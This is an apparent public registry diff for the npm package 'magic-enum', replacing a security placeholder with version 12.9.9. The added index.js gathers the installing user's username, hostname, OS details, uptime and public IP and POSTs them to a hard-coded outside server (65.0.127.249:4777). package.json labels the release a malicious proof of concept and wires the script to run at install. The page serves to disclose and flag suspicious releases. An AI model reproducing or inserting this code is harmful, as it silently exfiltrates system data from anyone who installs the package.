magic-enum 0.0.1-security → 12.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of magic-enum might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +63 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const http = require('http');
4
+
5
+ // Listener details (make sure these are correct and accessible)
6
+ const SERVER_IP = '65.0.127.249'; // Your listener's IP address
7
+ const SERVER_PORT = 4777; // Port to send the data to
8
+ const ENDPOINT = '/collect'; // Endpoint to send data to
9
+
10
+ // Function to get public IP of the system
11
+ function getPublicIP(callback) {
12
+ https.get('https://api64.ipify.org?format=json', (res) => {
13
+ let data = '';
14
+ res.on('data', chunk => { data += chunk; });
15
+ res.on('end', () => {
16
+ try {
17
+ const ipInfo = JSON.parse(data);
18
+ callback(ipInfo.ip);
19
+ } catch (error) {
20
+ callback('Unknown');
21
+ }
22
+ });
23
+ }).on('error', () => {
24
+ callback('Unknown');
25
+ });
26
+ }
27
+
28
+ // Collect system info
29
+ getPublicIP((publicIP) => {
30
+ const systemData = {
31
+ user: os.userInfo().username,
32
+ hostname: os.hostname(),
33
+ os: os.type() + " " + os.release(),
34
+ arch: os.arch(),
35
+ platform: os.platform(),
36
+ uptime: os.uptime(),
37
+ public_ip: publicIP
38
+ };
39
+
40
+ const data = JSON.stringify(systemData);
41
+
42
+ const options = {
43
+ hostname: SERVER_IP,
44
+ port: SERVER_PORT,
45
+ path: ENDPOINT,
46
+ method: 'POST',
47
+ headers: {
48
+ 'Content-Type': 'application/json',
49
+ 'Content-Length': data.length
50
+ }
51
+ };
52
+
53
+ const req = https.request(options, (res) => {
54
+ console.log(`Status: ${res.statusCode}`);
55
+ });
56
+
57
+ req.on('error', (error) => {
58
+ console.error('Error sending data:', error);
59
+ });
60
+
61
+ req.write(data);
62
+ req.end();
63
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "magic-enum",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "12.9.9",
4
+ "description": "Malicious NPM package PoC",
5
+ "main": "index.js",
6
+ "preinstall": "node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Security Researcher",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=magic-enum for more information.